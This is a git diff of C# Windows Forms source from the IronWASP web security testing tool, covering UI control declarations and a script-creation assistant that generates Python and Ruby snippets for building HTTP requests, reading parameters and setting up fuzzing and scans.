((System.ComponentModel.ISupportInitialize)(this.ToolsItemGrid)).EndInit(); + this.CodeTabs.ResumeLayout(false); + this.PyCodeTab.ResumeLayout(false); + this.RbCodeTab.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer BaseSplit; + private System.Windows.Forms.TabControl CodeTabs; + private System.Windows.Forms.TabPage PyCodeTab; + private System.Windows.Forms.TabPage RbCodeTab; + private System.Windows.Forms.TabControl QuestionTabs; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.TabPage tabPage5; + private System.Windows.Forms.TabControl tabControl1; + private System.Windows.Forms.TabPage tabPage6; + private System.Windows.Forms.TabPage tabPage7; + private System.Windows.Forms.TabPage tabPage8; + private System.Windows.Forms.TabControl tabControl2; + private System.Windows.Forms.TabPage tabPage10; + private System.Windows.Forms.TabPage tabPage11; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.RadioButton CRFromLogRB; + private System.Windows.Forms.RadioButton CRFromUrlRB; + private System.Windows.Forms.CheckBox CRIncludeRequestBodyCB; + private System.Windows.Forms.TextBox CRRequestBodyTB; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox CRLogIdTB; + private System.Windows.Forms.DataGridView CRLogSourceGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn Column1; + private System.Windows.Forms.DataGridViewTextBoxColumn Column2; + private System.Windows.Forms.TextBox CRRequestUrlTB; + private System.Windows.Forms.Button CRCreateCodeBtn; + private System.Windows.Forms.Panel CRFromLogPanel; + private System.Windows.Forms.Panel CRFromUrlPanel; + private System.Windows.Forms.TextBox CRErrorTB; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.RadioButton SRSendWithLogSourceRB; + private System.Windows.Forms.RadioButton SRNormalSendRB; + private System.Windows.Forms.RadioButton SRFollowRedirectRB; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.RadioButton SRDontFollowRedirectRB; + private System.Windows.Forms.TextBox SRLogSourceTB; + private System.Windows.Forms.Label SRLogSourceLbl; + private System.Windows.Forms.TextBox SRErrorTB; + private System.Windows.Forms.Button SRCreateCodeBtn; + private System.Windows.Forms.LinkLabel ShowHideCommentsLL; + private System.Windows.Forms.TabPage tabPage12; + private System.Windows.Forms.TextBox textBox3; + private System.Windows.Forms.DataGridView RPPActionGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.DataGridView RPPParameterTypeGrid; + private System.Windows.Forms.TextBox RPPParameterValueTB; + private System.Windows.Forms.Label RPPParameterValueLbl; + private System.Windows.Forms.TextBox RPPParameterNameTB; + private System.Windows.Forms.Label RPPParameterNameLbl; + private System.Windows.Forms.GroupBox RPPQuestionGB; + private System.Windows.Forms.RadioButton RPPAnswerTwoRB; + private System.Windows.Forms.RadioButton RPPAnswerOneRB; + private System.Windows.Forms.TextBox RPPErrorTB; + private System.Windows.Forms.Button RPPCreateCodeBtn; + private System.Windows.Forms.TextBox RPPParameterDescriptionTB; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn Column3; + private System.Windows.Forms.RichTextBox ROPDisplayRTB; + private System.Windows.Forms.TextBox ROPParameterDescriptionTB; + private System.Windows.Forms.TextBox ROPErrorTB; + private System.Windows.Forms.Button ROPCreateCodeBtn; + private System.Windows.Forms.TextBox ROPParameterValueTB; + private System.Windows.Forms.Label ROPParameterValueLbl; + private System.Windows.Forms.GroupBox ROPQuestionGB; + private System.Windows.Forms.RadioButton ROPAnswerEditRB; + private System.Windows.Forms.RadioButton ROPAnswerReadRB; + private System.Windows.Forms.DataGridView ROPParameterTypeGrid; + private System.Windows.Forms.TextBox textBox7; + private System.Windows.Forms.RichTextBox ResDisplayRTB; + private System.Windows.Forms.TextBox ResParameterDescriptionTB; + private System.Windows.Forms.TextBox ResErrorTB; + private System.Windows.Forms.Button ResCreateCodeBtn; + private System.Windows.Forms.TextBox ResParameterValueTB; + private System.Windows.Forms.Label ResParameterValueLbl; + private System.Windows.Forms.GroupBox ResQuestionGB; + private System.Windows.Forms.RadioButton ResAnswerEditRB; + private System.Windows.Forms.RadioButton ResAnswerReadRB; + private System.Windows.Forms.DataGridView ResParameterTypeGrid; + private System.Windows.Forms.TextBox textBox8; + private System.Windows.Forms.DataGridView HtmlMainActionsGrid; + private System.Windows.Forms.TextBox textBox4; + private System.Windows.Forms.TextBox HtmlDescriptionTB; + private System.Windows.Forms.TextBox HtmlErrorTB; + private System.Windows.Forms.Button HtmlCreateCodeBtn; + private System.Windows.Forms.DataGridView HtmlOptionsGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn Column4; + private System.Windows.Forms.DataGridViewTextBoxColumn Column5; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn4; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn5; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn6; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn8; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn5; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn7; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn9; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox HtmlGVHelperAttributeValueTB; + private System.Windows.Forms.TextBox HtmlGVHelperAttributeNameTB; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TextBox HtmlGVMainAttributeNameTB; + private System.Windows.Forms.TextBox HtmlGVTagTB; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Panel HtmlGVPanel; + private System.Windows.Forms.Panel HtmlGEPanel; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.TextBox HtmlGETagTB; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.TextBox HtmlGEAttributeValueTB; + private System.Windows.Forms.TextBox HtmlGEAttributeNameTB; + private System.Windows.Forms.TextBox HtmlAnswerDescriptionTB; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn6; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn10; + private System.Windows.Forms.DataGridViewTextBoxColumn Column6; + private System.Windows.Forms.Panel HtmlAnswerPanel; + private System.Windows.Forms.Label HtmlAnswerLbl; + private System.Windows.Forms.TextBox HtmlAnswerTB; + private System.Windows.Forms.Button LogCreateCodeBtn; + private System.Windows.Forms.DataGridView LogSourceGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn7; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn11; + private System.Windows.Forms.TextBox LogErrorTB; + private System.Windows.Forms.TextBox textBox6; + private CodeTextBox PythonCTB; + private CodeTextBox RubyCTB; + private System.Windows.Forms.Button CrawlCreateCodeBtn; + private System.Windows.Forms.RadioButton CrawlFormsRB; + private System.Windows.Forms.RadioButton CrawlLinksRB; + private System.Windows.Forms.RadioButton CrawlCookiesRB; + private System.Windows.Forms.TextBox textBox5; + private System.Windows.Forms.Button ToolsCreateCodeBtn; + private System.Windows.Forms.DataGridView ToolsItemGrid; + private System.Windows.Forms.TextBox textBox11; + private System.Windows.Forms.TextBox textBox14; + private System.Windows.Forms.TextBox textBox13; + private System.Windows.Forms.TextBox textBox12; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn8; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn12; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn15; + private System.Windows.Forms.TabPage tabPage13; + private System.Windows.Forms.TabPage tabPage9; + private System.Windows.Forms.Button ReqOCreateCodeBtn; + private System.Windows.Forms.DataGridView ReqOActionsGrid; + private System.Windows.Forms.TextBox textBox16; + private System.Windows.Forms.Button ResOCreateCodeBtn; + private System.Windows.Forms.DataGridView ResOActionsGrid; + private System.Windows.Forms.TextBox textBox15; + private System.Windows.Forms.TextBox ReqODescTB; + private System.Windows.Forms.TextBox ResODescTB; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn10; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn16; + private System.Windows.Forms.DataGridViewTextBoxColumn Column7; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn17; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn9; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn13; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn18; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn14; + private System.Windows.Forms.TabPage tabPage14; + private System.Windows.Forms.TabPage tabPage15; + private System.Windows.Forms.RichTextBox IntroRTB; + private System.Windows.Forms.TabControl FuzzBaseTabs; + private System.Windows.Forms.TabPage NameTab; + private System.Windows.Forms.TextBox textBox9; + private System.Windows.Forms.Button FuzzStepZeroNextBtn; + private System.Windows.Forms.TabPage LanguageTab; + internal System.Windows.Forms.TextBox FuzzStep1StatusTB; + private System.Windows.Forms.TextBox textBox18; + private System.Windows.Forms.Button FuzzStepOnePreviousBtn; + private System.Windows.Forms.Button FuzzStepOneNextBtn; + private System.Windows.Forms.TabPage PayloadsTab; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.RadioButton FuzzNoOriginalParameterRB; + private System.Windows.Forms.RadioButton FuzzOriginalParameterAfterPayloadRB; + private System.Windows.Forms.RadioButton FuzzOriginalParameterBeforePayloadRB; + private System.Windows.Forms.TextBox textBox10; + private System.Windows.Forms.Label FuzzPayloadsFileLbl; + private System.Windows.Forms.TextBox FuzzPayloadsListTB; + private System.Windows.Forms.LinkLabel FuzzLoadPayloadsFileLL; + internal System.Windows.Forms.TextBox FuzzStep2StatusTB; + private System.Windows.Forms.TextBox textBox17; + private System.Windows.Forms.Button FuzzStepTwoPreviousBtn; + private System.Windows.Forms.Button FuzzStepTwoNextBtn; + private System.Windows.Forms.TabPage FinalTab; + private System.Windows.Forms.Button FuzzCreateCodeBtn; + private System.Windows.Forms.RadioButton FuzzInCodeRB; + private System.Windows.Forms.RadioButton FuzzUseUiRB; + private System.Windows.Forms.DataGridView FuzzParameterTypeGrid; + private System.Windows.Forms.TextBox FuzzParametersNameListTB; + private System.Windows.Forms.DataGridView FuzzBodyTypeGrid; + private System.Windows.Forms.RadioButton FuzzListedParametersRB; + private System.Windows.Forms.RadioButton FuzzAllParametersRB; + private System.Windows.Forms.Label FuzzParametersNameListLbl; + private System.Windows.Forms.LinkLabel FuzzAddPointLL; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn11; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn19; + private System.Windows.Forms.GroupBox FuzzBodyTypeGB; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn12; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn20; + private System.Windows.Forms.TextBox FuzzBodyCustomEndTB; + private System.Windows.Forms.Label FuzzBodyCustomEndLbl; + private System.Windows.Forms.TextBox FuzzBodyCustomStartTB; + private System.Windows.Forms.Label FuzzBodyCustomStartLbl; + private System.Windows.Forms.TextBox FuzzBodyCustomMsgTB; + private System.Windows.Forms.GroupBox groupBox2; + private System.Windows.Forms.RadioButton FuzzPayloadEncodedNoRB; + private System.Windows.Forms.RadioButton FuzzPayloadEncodedYesRB; + private System.Windows.Forms.Button FuzzStepThreePreviousBtn; + private System.Windows.Forms.TextBox FuzzLogSourceTB; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.DataGridView FuzzSessionPluginGrid; + private System.Windows.Forms.TextBox FuzzSessionPluginMsgTB; + private System.Windows.Forms.CheckBox FuzzUseCustomLogSourceCB; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn13; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn21; + internal System.Windows.Forms.TextBox FuzzStep3StatusTB; + private System.Windows.Forms.OpenFileDialog PayloadFileOpener; + private System.Windows.Forms.GroupBox groupBox3; + private System.Windows.Forms.RadioButton FuzzLoadPayloadsFromFileRB; + private System.Windows.Forms.RadioButton FuzzUsePayloadsFromListRB; + private System.Windows.Forms.TextBox FuzzSelectedParametersListTB; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.TabPage tabPage16; + private System.Windows.Forms.TabControl ScanBaseTabs; + private System.Windows.Forms.TabPage tabPage18; + private System.Windows.Forms.TextBox ScanSelectedParametersListTB; + private System.Windows.Forms.GroupBox ScanBodyTypeGB; + private System.Windows.Forms.TextBox ScanBodyCustomMsgTB; + private System.Windows.Forms.TextBox ScanBodyCustomEndTB; + private System.Windows.Forms.Label ScanBodyCustomEndLbl; + private System.Windows.Forms.TextBox ScanBodyCustomStartTB; + private System.Windows.Forms.Label ScanBodyCustomStartLbl; + private System.Windows.Forms.DataGridView ScanBodyTypeGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn14; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn22; + private System.Windows.Forms.LinkLabel ScanAddPointLL; + private System.Windows.Forms.Label ScanParametersNameListLbl; + private System.Windows.Forms.TextBox ScanParametersNameListTB; + private System.Windows.Forms.RadioButton ScanListedParametersRB; + private System.Windows.Forms.RadioButton ScanAllParametersRB; + internal System.Windows.Forms.TextBox ScanStep0StatusTB; + private System.Windows.Forms.TextBox textBox26; + private System.Windows.Forms.Button ScanResetBtn; + private System.Windows.Forms.Button ScanStepZeroNextBtn; + private System.Windows.Forms.TabPage tabPage19; + internal System.Windows.Forms.TextBox ScanStep1StatusTB; + private System.Windows.Forms.TextBox textBox30; + private System.Windows.Forms.Button ScanStepOnePreviousBtn; + private System.Windows.Forms.Button ScanStepOneNextBtn; + private System.Windows.Forms.TabPage tabPage20; + internal System.Windows.Forms.TextBox ScanStep2StatusTB; + private System.Windows.Forms.DataGridView ScanSessionPluginGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn16; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn24; + private System.Windows.Forms.TextBox ScanSessionPluginMsgTB; + private System.Windows.Forms.Button ScanStepTwoPreviousBtn; + private System.Windows.Forms.Button ScanCreateCodeBtn; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn15; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn23; + private System.Windows.Forms.DataGridView ScanParameterTypeGrid; + internal System.Windows.Forms.CheckBox ScanAllPluginsCB; + internal System.Windows.Forms.DataGridView ScanPluginsGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn17; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn25; + private System.Windows.Forms.LinkLabel CopyScriptLL; + private System.Windows.Forms.Label ErrorLbl; + } } \ No newline at end of file diff --git a/IronWASP/ScriptCreationAssistant.cs b/Iron/ScriptCreationAssistant.cs similarity index 98% rename from IronWASP/ScriptCreationAssistant.cs rename to Iron/ScriptCreationAssistant.cs index b1deed7..0fd3d8e 100644 --- a/IronWASP/ScriptCreationAssistant.cs +++ b/Iron/ScriptCreationAssistant.cs @@ -1,4689 +1,4689 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.IO; - -namespace IronWASP -{ - public partial class ScriptCreationAssistant : Form - { - string FullPyCode = ""; - string FullRbCode = ""; - - public ScriptCreationAssistant() - { - InitializeComponent(); - } - - private void CRLogSourceGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (CRLogSourceGrid.SelectedRows == null) return; - if (CRLogSourceGrid.SelectedRows.Count == 0) return; - foreach (DataGridViewRow Row in CRLogSourceGrid.Rows) - { - if (Row.Index == CRLogSourceGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void CRFromUrlRB_CheckedChanged(object sender, EventArgs e) - { - if (CRFromUrlRB.Checked) - { - CRFromUrlPanel.Visible = true; - CRFromLogPanel.Visible = false; - } - } - - private void CRFromLogRB_CheckedChanged(object sender, EventArgs e) - { - if (CRFromLogRB.Checked) - { - CRFromLogPanel.Visible = true; - CRFromUrlPanel.Visible = false; - } - } - - private void CRIncludeRequestBodyCB_CheckedChanged(object sender, EventArgs e) - { - if (CRIncludeRequestBodyCB.Checked) - { - CRRequestBodyTB.Enabled = true; - } - else - { - CRRequestBodyTB.Enabled = false; - } - } - - private void CRCreateCodeBtn_Click(object sender, EventArgs e) - { - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#Request is created based on your requirement and stored in a variable named 'req'"); - Rb.AppendLine("#Request is created based on your requirement and stored in a variable named 'req'"); - - ShowCRError(""); - - if (!(CRFromUrlRB.Checked || CRFromLogRB.Checked)) - { - ShowCRError("Select atleast one option"); - return; - } - - if (CRFromUrlRB.Checked) - { - try - { - new Request(CRRequestUrlTB.Text); - if (CRIncludeRequestBodyCB.Checked) - { - Py.AppendLine(string.Format(@"req = Request(""POST"", ""{0}"", ""{1}"")", CRRequestUrlTB.Text.Replace("\"", "\\\""), CRRequestBodyTB.Text.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"req = Request.new(""POST"", ""{0}"", ""{1}"")", CRRequestUrlTB.Text.Replace("\"", "\\\""), CRRequestBodyTB.Text.Replace("\"", "\\\""))); - } - else - { - Py.AppendLine(string.Format(@"req = Request(""{0}"")", CRRequestUrlTB.Text.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"req = Request.new(""{0}"")", CRRequestUrlTB.Text.Replace("\"", "\\\""))); - } - } - catch - { - ShowCRError("Invalid Request Url. Url must start with http:// or https://. Eg: http://ironwasp.org/index.html"); - return; - } - } - - string LogSource = ""; - int LogId = 0; - - if (CRFromLogRB.Checked) - { - foreach (DataGridViewRow Row in CRLogSourceGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - LogSource = Row.Cells[1].Value.ToString(); - break; - } - } - if (LogSource.Length == 0) - { - ShowCRError("Log Source has not been selected."); - return; - } - try - { - LogId = Int32.Parse(CRLogIdTB.Text.Trim()); - } - catch - { - ShowCRError("Log Id must be a valid number"); - return; - } - switch (LogSource) - { - case("Proxy"): - Py.AppendLine(string.Format(@"req = Request.FromProxyLog({0})", LogId)); - Rb.AppendLine(string.Format(@"req = Request.from_proxy_log({0})", LogId)); - break; - case ("Probe"): - Py.AppendLine(string.Format(@"req = Request.FromProbeLog({0})", LogId)); - Rb.AppendLine(string.Format(@"req = Request.from_probe_log({0})", LogId)); - break; - case ("Shell"): - Py.AppendLine(string.Format(@"req = Request.FromShellLog({0})", LogId)); - Rb.AppendLine(string.Format(@"req = Request.from_shell_log({0})", LogId)); - break; - case ("Scan"): - Py.AppendLine(string.Format(@"req = Request.FromScanLog({0})", LogId)); - Rb.AppendLine(string.Format(@"req = Request.from_scan_log({0})", LogId)); - break; - case ("Test"): - Py.AppendLine(string.Format(@"req = Request.FromTestLog({0})", LogId)); - Rb.AppendLine(string.Format(@"req = Request.from_test_log({0})", LogId)); - break; - default: - Py.AppendLine(string.Format(@"req = Request.FromLog({0}, ""{1}"")", LogId, LogSource)); - Rb.AppendLine(string.Format(@"req = Request.from_log({0}, ""{1}"")", LogId, LogSource)); - break; - } - } - ShowCode(Py.ToString(), Rb.ToString()); - } - - void ShowCRError(string Error) - { - CRErrorTB.Text = Error; - if(Error.Length > 0) - CRErrorTB.Visible = true; - else - CRErrorTB.Visible = false; - } - void ShowSRError(string Error) - { - SRErrorTB.Text = Error; - if (Error.Length > 0) - SRErrorTB.Visible = true; - else - SRErrorTB.Visible = false; - } - void ShowRPPError(string Error) - { - RPPErrorTB.Text = Error; - if (Error.Length > 0) - RPPErrorTB.Visible = true; - else - RPPErrorTB.Visible = false; - } - void ShowROPError(string Error) - { - ROPErrorTB.Text = Error; - if (Error.Length > 0) - ROPErrorTB.Visible = true; - else - ROPErrorTB.Visible = false; - } - void ShowResError(string Error) - { - ResErrorTB.Text = Error; - if (Error.Length > 0) - ResErrorTB.Visible = true; - else - ResErrorTB.Visible = false; - } - void ShowHtmlError(string Error) - { - HtmlErrorTB.Text = Error; - if (Error.Length > 0) - HtmlErrorTB.Visible = true; - else - HtmlErrorTB.Visible = false; - } - void ShowLogError(string Error) - { - LogErrorTB.Text = Error; - if (Error.Length > 0) - LogErrorTB.Visible = true; - else - LogErrorTB.Visible = false; - } - - void ShowCodeError(string Message) - { - ErrorLbl.Text = Message; - } - - void ShowCode(string PyCode, string RbCode) - { - ShowCodeError(""); - try - { - FullPyCode = PyCode; - FullRbCode = RbCode; - - if (ShowHideCommentsLL.Text.Equals("Show Comments")) - { - string[] StrippedCode = StripComments(new string[] { PyCode, RbCode }); - PythonCTB.Text = StrippedCode[0]; - RubyCTB.Text = StrippedCode[1]; - } - else - { - PythonCTB.Text = PyCode; - RubyCTB.Text = RbCode; - } - } - catch(Exception Exp) - { - ShowCodeError("There was some error displaying code, try clicking on the 'Generate Code' button again."); - IronException.Report("Error displaying Code in Script Creation Assistant", Exp); - } - } - - private void ScriptCreationAssistant_Load(object sender, EventArgs e) - { - List LogSourcesList = new List() { "Proxy", "Probe", "Shell", "Scan", "Test" }; - LogSourcesList.AddRange(Config.GetOtherSourceList()); - - CRLogSourceGrid.Rows.Clear(); - LogSourceGrid.Rows.Clear(); - - foreach (string LogSource in LogSourcesList) - { - CRLogSourceGrid.Rows.Add(new object[]{ false, LogSource }); - LogSourceGrid.Rows.Add(new object[] { false, LogSource }); - } - - RPPParameterTypeGrid.Rows.Clear(); - RPPParameterTypeGrid.Rows.Add(new object[]{false, "UrlPathParts", "These are the path section of the Request's Url. If the server uses URL-Rewriting then these could hold parameter values instead of file path."}); - RPPParameterTypeGrid.Rows.Add(new object[]{false, "Query", "Request Query Parameters"}); - RPPParameterTypeGrid.Rows.Add(new object[]{false, "Body", "Request Body Parameters"}); - RPPParameterTypeGrid.Rows.Add(new object[]{false, "Cookie", "Cookie values sent to the server along with the Request"}); - RPPParameterTypeGrid.Rows.Add(new object[]{false, "Headers", "The various Headers sent by the browser along with the Request"}); - - ROPParameterTypeGrid.Rows.Clear(); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "Method", "full", "", "HTTP method used by the request" }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "SSL", "url", "", "Boolean value indicating if Request uses SSL" }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "Host", "full", "", "Target hostname or IP the request will be sent to." }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "File", "full", "", "File extension in the Url" }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "FullUrl", "url", "", "Full url along with hostname and protocol." }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "Url", "url", "", "Url without hostname." }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "BaseUrl", "url", "", "Protocol and hostname." }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "UrlPath", "full", "", "Url without the querystring" }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "UrlDir", "full", "", "UrlPath without the filename" }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "BodyString", "full", "", "The full request body as a single string." }); - //ROPParameterTypeGrid.Rows.Add(new object[] { false, "BodyArray", "full", "", "The request body as a .NET byte array. Use this to handle binary body data." }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "CookieString", "full", "", "The value of the Cookie header in the request as a single string." }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "BodyLength", "full", "", "Length of the request body" }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "ContentType", "full", "", "Value of the Content-Type header" }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "HasBody", "full", "", "Boolean value indicating if the request contains a body" }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "IsBinary", "full", "", "Boolean value indicating if the request body is a binary value" }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "UrlPathParts", "full", "", "Check the 'Read or Modify Parameters' section for more details on this." }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "Query Parameters", "full", "", "Check the 'Read or Modify Parameters' section for more details on this." }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "Body Parameters", "full", "", "Check the 'Read or Modify Parameters' section for more details on this." }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "Cookie Parameters", "full", "", "Check the 'Read or Modify Parameters' section for more details on this." }); - ROPParameterTypeGrid.Rows.Add(new object[] { false, "Header Parameters", "full", "", "Check the 'Read or Modify Parameters' section for more details on this." }); - - ResParameterTypeGrid.Rows.Clear(); - ResParameterTypeGrid.Rows.Add(new object[] { false, "Code", "", "The HTTP response code number." }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "Status", "", "The message in the HTTP response code." }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "HttpVersion", "", "HTTP version used." }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "BodyLength", "", "Length of the Response body" }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "ContentType", "", "Value of the Content-Type header" }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "BodyEncoding", "", "The encoding scheme for the page. If the response header does not contain one then its is taken from the HTML. If no value is given it defaults to UTF-8." }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "SetCookies", "", "The collection of the SetCookie headers sent by the server." }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "Html", "", "The parsed HTML of the response. Check the 'Analyze Html' for more details on this." }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "Headers", "", "The headers in the Response. This property is similar to the Request Headers property. Check that section for usage information." }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "BodyString", "", "The entire response body as a single string." }); - //ResParameterTypeGrid.Rows.Add(new object[] { false, "BodyArray", "", "" }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "IsHtml", "", "Boolean value indicating if the response body is a valid HTML" }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "IsJson", "", "Boolean value indicating if the response body is a valid JSON" }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "IsXml", "", "Boolean value indicating if the response body is a valid XML" }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "IsJavaScript", "", "Boolean value indicating if the response body is a valid JavaScript" }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "IsCss", "", "Boolean value indicating if the response body is a valid CSS" }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "RoundTrip", "", "Time taken to get the response form the server in milliseconds" }); - ResParameterTypeGrid.Rows.Add(new object[] { false, "IsRedirect", "", "Boolean value indicating if the response is a redirect." }); - - HtmlMainActionsGrid.Rows.Clear(); - HtmlMainActionsGrid.Rows.Add(new object[]{ false, "Get Title of Html", "" }); - HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Links from Html", "" }); - HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Comments from Html", "" }); - HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get JavaScript from Html", "" }); - HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get VisualBasic from Html", "" }); - HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get CSS from Html", "" }); - HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Values of Html attributes", "" }); - HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Elements from Html as strings", "" }); - HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Elements from Html as objects", "" }); - HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Forms from Html", "" }); - //HtmlMainActionsGrid.Rows.Add(new object[] { false, "Get Content of Meta tags", "" }); - HtmlMainActionsGrid.Rows.Add(new object[] { false, "Find the context a keyword", "" }); - - ToolsItemGrid.Rows.Clear(); - ToolsItemGrid.Rows.Add(new object[] { false, "Find the location of IronWASP executable", "path"}); - ToolsItemGrid.Rows.Add(new object[] { false, "Perform Base64 encode and decode", "base64" }); - ToolsItemGrid.Rows.Add(new object[] { false, "Perform Hex encode and 